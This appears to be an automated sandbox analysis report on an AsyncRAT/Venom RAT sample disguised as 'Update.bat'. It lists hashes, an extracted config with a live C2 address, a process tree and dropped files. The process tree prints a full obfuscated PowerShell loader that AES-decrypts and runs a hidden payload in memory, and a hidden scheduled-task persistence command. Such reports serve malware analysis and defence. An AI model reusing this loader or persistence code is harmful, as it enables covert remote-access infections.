Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/03/2024, 02:05

General

  • Target

    Update.bat

  • Size

    305KB

  • MD5

    9464dc08a0c7c87065f6caed75dec6bd

  • SHA1

    158d22a58c9ba314a076a62a8bcec466fc1e4165

  • SHA256

    90253e1be6b5b8928661ce82317b156e1ed4a974e1c6def34414495191e8f50f

  • SHA512

    b8b0dd38c60f8e81fcc9d2efcc76a669441c078aebbb2276c690315002eccc4fcb0317b29c8e542dd7795f2326775212fe4f68af00065afeadc6efcb7e693812

  • SSDEEP

    6144:Gki8FUxdLGV2qz4aXJVf2cW9A3KAa9K+9E8KTVNlaMwg49oKkIaeF:GX8FqtGVBzfX/f2CaAaXc9TFuofm

Score
10/10

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

nostale

C2

163.5.215.225:1602

Mutex

hoosnuxddbjezlt

Attributes
  • delay

    1

  • install

    false

  • install_file

    svchost

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Update.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3060
    • C:\Users\Admin\AppData\Local\Temp\Update.bat.exe
      "Update.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $_CASH_RBmaF = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Update.bat').Split([Environment]::NewLine);foreach ($_CASH_IjfQb in $_CASH_RBmaF) { if ($_CASH_IjfQb.StartsWith(':: @')) { $_CASH_rvGhe = $_CASH_IjfQb.Substring(4); break; }; };$_CASH_rvGhe = [System.Text.RegularExpressions.Regex]::Replace($_CASH_rvGhe, '_CASH_', '');$_CASH_DkAdB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_CASH_rvGhe);$_CASH_lMgXj = New-Object System.Security.Cryptography.AesManaged;$_CASH_lMgXj.Mode = [System.Security.Cryptography.CipherMode]::CBC;$_CASH_lMgXj.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$_CASH_lMgXj.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/1ndH6+lrsjZ2yYUNqKgNPGrHYX/Tct5RucmyyX+KDY=');$_CASH_lMgXj.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qky27F+ZQUxwHZWbtyy/7w==');$_CASH_fRgtG = $_CASH_lMgXj.CreateDecryptor();$_CASH_DkAdB = $_CASH_fRgtG.TransformFinalBlock($_CASH_DkAdB, 0, $_CASH_DkAdB.Length);$_CASH_fRgtG.Dispose();$_CASH_lMgXj.Dispose();$_CASH_BbdgF = New-Object System.IO.MemoryStream(, $_CASH_DkAdB);$_CASH_RhuKx = New-Object System.IO.MemoryStream;$_CASH_PnSrr = New-Object System.IO.Compression.GZipStream($_CASH_BbdgF, [IO.Compression.CompressionMode]::Decompress);$_CASH_PnSrr.CopyTo($_CASH_RhuKx);$_CASH_PnSrr.Dispose();$_CASH_BbdgF.Dispose();$_CASH_RhuKx.Dispose();$_CASH_DkAdB = $_CASH_RhuKx.ToArray();$_CASH_LuMET = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($_CASH_DkAdB);$_CASH_wBIxo = $_CASH_LuMET.EntryPoint;$_CASH_wBIxo.Invoke($null, (, [string[]] ('')))
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3156
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\Update')
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4924
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_424_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_424.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3888
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_424.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3924
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_424.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:876
          • C:\Users\Admin\AppData\Roaming\startup_str_424.bat.exe
            "startup_str_424.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $_CASH_RBmaF = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_424.bat').Split([Environment]::NewLine);foreach ($_CASH_IjfQb in $_CASH_RBmaF) { if ($_CASH_IjfQb.StartsWith(':: @')) { $_CASH_rvGhe = $_CASH_IjfQb.Substring(4); break; }; };$_CASH_rvGhe = [System.Text.RegularExpressions.Regex]::Replace($_CASH_rvGhe, '_CASH_', '');$_CASH_DkAdB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_CASH_rvGhe);$_CASH_lMgXj = New-Object System.Security.Cryptography.AesManaged;$_CASH_lMgXj.Mode = [System.Security.Cryptography.CipherMode]::CBC;$_CASH_lMgXj.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$_CASH_lMgXj.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/1ndH6+lrsjZ2yYUNqKgNPGrHYX/Tct5RucmyyX+KDY=');$_CASH_lMgXj.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qky27F+ZQUxwHZWbtyy/7w==');$_CASH_fRgtG = $_CASH_lMgXj.CreateDecryptor();$_CASH_DkAdB = $_CASH_fRgtG.TransformFinalBlock($_CASH_DkAdB, 0, $_CASH_DkAdB.Length);$_CASH_fRgtG.Dispose();$_CASH_lMgXj.Dispose();$_CASH_BbdgF = New-Object System.IO.MemoryStream(, $_CASH_DkAdB);$_CASH_RhuKx = New-Object System.IO.MemoryStream;$_CASH_PnSrr = New-Object System.IO.Compression.GZipStream($_CASH_BbdgF, [IO.Compression.CompressionMode]::Decompress);$_CASH_PnSrr.CopyTo($_CASH_RhuKx);$_CASH_PnSrr.Dispose();$_CASH_BbdgF.Dispose();$_CASH_RhuKx.Dispose();$_CASH_DkAdB = $_CASH_RhuKx.ToArray();$_CASH_LuMET = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($_CASH_DkAdB);$_CASH_wBIxo = $_CASH_LuMET.EntryPoint;$_CASH_wBIxo.Invoke($null, (, [string[]] ('')))
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4340
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\startup_str_424')
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4320

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          661739d384d9dfd807a089721202900b

          SHA1

          5b2c5d6a7122b4ce849dc98e79a7713038feac55

          SHA256

          70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

          SHA512

          81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          c118e29489863b7d5859e4e697842329

          SHA1

          ede543c75580fa7caba7d21f42d674248e3c0885

          SHA256

          22d4ec09704d261479cf9521f93ba4840fbe93601f69fb2dd71e6c936dcae091

          SHA512

          868ba879e1a4e5c43824abd70b29ac97a8153b8f9dc49b8d378ca465715ab1833d3d87ba5a0eb4eb7543b5d8cc561946441626e25c0c60afb90bea020113ed44

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          75b4b2eecda41cec059c973abb1114c0

          SHA1

          11dadf4817ead21b0340ce529ee9bbd7f0422668

          SHA256

          5540f4ea6d18b1aa94a3349652133a4f6641d456757499b7ab12e7ee8f396134

          SHA512

          87feaf17bd331ed6afd9079fefb1d8f5d3911ababf8ea7542be16c946301a7172a5dc46d249b2192376957468d75bf1c99752529ca77ec0aa78a8d054b3a6626

        • C:\Users\Admin\AppData\Local\Temp\Update.bat.exe

          Filesize

          442KB

          MD5

          04029e121a0cfa5991749937dd22a1d9

          SHA1

          f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

          SHA256

          9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

          SHA512

          6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_raiqlgkz.ydu.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Roaming\startup_str_424.bat

          Filesize

          305KB

          MD5

          9464dc08a0c7c87065f6caed75dec6bd

          SHA1

          158d22a58c9ba314a076a62a8bcec466fc1e4165

          SHA256

          90253e1be6b5b8928661ce82317b156e1ed4a974e1c6def34414495191e8f50f

          SHA512

          b8b0dd38c60f8e81fcc9d2efcc76a669441c078aebbb2276c690315002eccc4fcb0317b29c8e542dd7795f2326775212fe4f68af00065afeadc6efcb7e693812

        • C:\Users\Admin\AppData\Roaming\startup_str_424.vbs

          Filesize

          115B

          MD5

          83d919541b76e7700dd6231df023a63f

          SHA1

          4245c5c94237946cd8eda053970ae4df2d1152aa

          SHA256

          497c5baee4eb969a2d5c7fc0e65b4c9d8dedbc8c9b6843ce7d1d84c8b0cc6167

          SHA512

          3306bdc1a35348aeb3d369b043373984a1faa4a97b193e67b12c514294d8440c66a1e83d29b2fa7a94b878474258788107173ea7283f5f608ade49e48ef4d181

        • memory/3156-15-0x0000014D4CBE0000-0x0000014D4CBF0000-memory.dmp

          Filesize

          64KB

        • memory/3156-79-0x0000014D4CBE0000-0x0000014D4CBF0000-memory.dmp

          Filesize

          64KB

        • memory/3156-66-0x0000014D4CBE0000-0x0000014D4CBF0000-memory.dmp

          Filesize

          64KB

        • memory/3156-81-0x00007FFBA2AD0000-0x00007FFBA3591000-memory.dmp

          Filesize

          10.8MB

        • memory/3156-17-0x0000014D4EF40000-0x0000014D4F194000-memory.dmp

          Filesize

          2.3MB

        • memory/3156-16-0x0000014D4CBE0000-0x0000014D4CBF0000-memory.dmp

          Filesize

          64KB

        • memory/3156-50-0x00007FFBA2AD0000-0x00007FFBA3591000-memory.dmp

          Filesize

          10.8MB

        • memory/3156-14-0x00007FFBA2AD0000-0x00007FFBA3591000-memory.dmp

          Filesize

          10.8MB

        • memory/3156-4-0x0000014D4EC60000-0x0000014D4EC82000-memory.dmp

          Filesize

          136KB

        • memory/3888-51-0x000001967D090000-0x000001967D0A0000-memory.dmp

          Filesize

          64KB

        • memory/3888-49-0x000001967D090000-0x000001967D0A0000-memory.dmp

          Filesize

          64KB

        • memory/3888-38-0x000001967D090000-0x000001967D0A0000-memory.dmp

          Filesize

          64KB

        • memory/3888-53-0x00007FFBA2AD0000-0x00007FFBA3591000-memory.dmp

          Filesize

          10.8MB

        • memory/3888-37-0x000001967D090000-0x000001967D0A0000-memory.dmp

          Filesize

          64KB

        • memory/3888-36-0x00007FFBA2AD0000-0x00007FFBA3591000-memory.dmp

          Filesize

          10.8MB

        • memory/4320-83-0x00000229136F0000-0x0000022913700000-memory.dmp

          Filesize

          64KB

        • memory/4320-96-0x00007FFBA2AD0000-0x00007FFBA3591000-memory.dmp

          Filesize

          10.8MB

        • memory/4320-82-0x00007FFBA2AD0000-0x00007FFBA3591000-memory.dmp

          Filesize

          10.8MB

        • memory/4320-84-0x00000229136F0000-0x0000022913700000-memory.dmp

          Filesize

          64KB

        • memory/4320-94-0x00000229136F0000-0x0000022913700000-memory.dmp

          Filesize

          64KB

        • memory/4340-76-0x00007FFBA2AD0000-0x00007FFBA3591000-memory.dmp

          Filesize

          10.8MB

        • memory/4340-77-0x000001CB2CB70000-0x000001CB2CB80000-memory.dmp

          Filesize

          64KB

        • memory/4340-100-0x00007FFBA2AD0000-0x00007FFBA3591000-memory.dmp

          Filesize

          10.8MB

        • memory/4340-99-0x00007FFBAE0F0000-0x00007FFBAE109000-memory.dmp

          Filesize

          100KB

        • memory/4340-97-0x000001CB2EDD0000-0x000001CB2EDE8000-memory.dmp

          Filesize

          96KB

        • memory/4924-29-0x000002136E9A0000-0x000002136E9B0000-memory.dmp

          Filesize

          64KB

        • memory/4924-33-0x00007FFBA2AD0000-0x00007FFBA3591000-memory.dmp

          Filesize

          10.8MB

        • memory/4924-28-0x00007FFBA2AD0000-0x00007FFBA3591000-memory.dmp

          Filesize

          10.8MB

        • memory/4924-30-0x000002136E9A0000-0x000002136E9B0000-memory.dmp

          Filesize

          64KB